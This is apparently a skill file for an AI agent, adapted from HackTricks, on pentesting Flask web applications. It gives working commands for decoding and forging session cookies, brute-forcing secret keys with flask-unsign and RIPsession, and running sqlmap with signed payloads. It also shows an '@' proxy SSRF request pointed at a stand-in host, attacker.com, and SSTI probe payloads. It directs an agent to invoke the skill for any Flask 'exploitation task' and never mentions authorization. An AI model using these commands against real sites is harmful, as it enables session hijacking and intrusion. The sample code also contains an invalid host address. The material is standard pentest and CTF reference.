Hacktricks-skills flask-pentesting
How to exploit Flask web application vulnerabilities including session cookie manipulation, secret key brute-forcing, and SSRF attacks. Use this skill whenever the user mentions Flask applications, session cookies, web pentesting, SSTI vulnerabilities, or needs to decode/sign/craft Flask session cookies. Make sure to use this skill for any Flask-related security testing, cookie analysis, or web application exploitation tasks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/flask/SKILL.MDFlask Pentesting
A skill for exploiting Flask web application vulnerabilities, focusing on session cookie manipulation, secret key brute-forcing, and SSRF attacks.
When to Use This Skill
Use this skill when:
- You encounter a Flask web application during pentesting or CTF challenges
- You need to decode, analyze, or craft Flask session cookies
- You suspect Flask SSTI (Server-Side Template Injection) vulnerabilities
- You need to brute-force Flask secret keys
- You're testing for Flask proxy SSRF vulnerabilities
- You have Flask session cookies that need manipulation
Flask Session Cookie Exploitation
Understanding Flask Cookies
Flask uses signed session cookies by default. The session cookie name is typically
session. The cookie format is:
<base64-encoded-data>.<signature>.<additional-data>
Manual Cookie Decoding
To decode a Flask session cookie manually:
- Extract the first part of the cookie (before the first dot)
- Base64 decode it
# Example: decode the payload portion echo "ImhlbGxvIg" | base64 -d
Using Flask-Unsign
Flask-unsign is a command-line tool for decoding, brute-forcing, and crafting Flask session cookies.
Installation
pip3 install flask-unsign
Decode a Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute-Force Secret Key
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Sign a Cookie
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Sign with Legacy Format
For older Flask versions:
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Using RIPsession
RIPsession brute-forces websites using cookies crafted with flask-unsign.
Installation
pip3 install ripsession
Usage
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Parameters:
: Target URL-u
: Cookie payload (JSON format)-c
: Secret key (if known)-s
: Failure string to detect-f
: Wordlist for brute-forcing-w
SQLi in Flask Session Cookies
When you have a known Flask secret key, you can use SQLmap with the
eval option to automatically sign payloads:
sqlmap -u "http://target.com/page?session=<cookie>" --eval "sign_payload(payload, 'YOUR_SECRET_KEY')"
Flask Proxy SSRF Exploitation
Flask has a vulnerability where requests starting with
@ can bypass proxy restrictions.
The Vulnerability
Flask allows requests starting with the
@ character, which can be exploited in proxy scenarios:
GET @/ HTTP/1.1 Host: target.com Connection: close
Exploitation Scenario
If a Flask app proxies requests like this:
from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com/' @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def proxy(path): return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0.0', port=8080)
You can exploit it by sending:
GET @attacker.com/path HTTP/1.1 Host: target.com Connection: close
This causes the proxy to request from
attacker.com instead of the intended domain.
Common Attack Patterns
1. Session Hijacking
- Capture the session cookie
- Decode it to understand the structure
- Modify the payload (e.g., set
)logged_in: True - Sign with the secret key (or brute-force it)
- Send the modified cookie
2. Secret Key Discovery
- Try common defaults:
,CHANGEME
,secretdevelopment - Use flask-unsign with wordlists
- Check for exposed
files.env - Look for hardcoded secrets in source code
3. SSTI Exploitation
Flask applications are commonly vulnerable to SSTI. Look for:
- User input reflected in templates
- Jinja2 template rendering
- Use payloads like
or{{7*7}}{{config}}
Helper Scripts
Use the bundled scripts for common operations:
- Decode Flask session cookiesscripts/decode_flask_cookie.py
- Sign Flask session cookiesscripts/sign_flask_cookie.py
- Brute-force Flask secret keysscripts/brute_flask_secret.py
Tools Reference
| Tool | Purpose | Installation |
|---|---|---|
| flask-unsign | Decode, sign, brute-force cookies | |
| ripsession | Brute-force with crafted cookies | |
| sqlmap | SQL injection with signed cookies | |
Online Resources
- Flask Cookie Decoder: https://www.kirsle.net/wizards/flask-session.cgi
- Flask-Unsign: https://pypi.org/project/flask-unsign/
- RIPsession: https://github.com/Tagvi/ripsession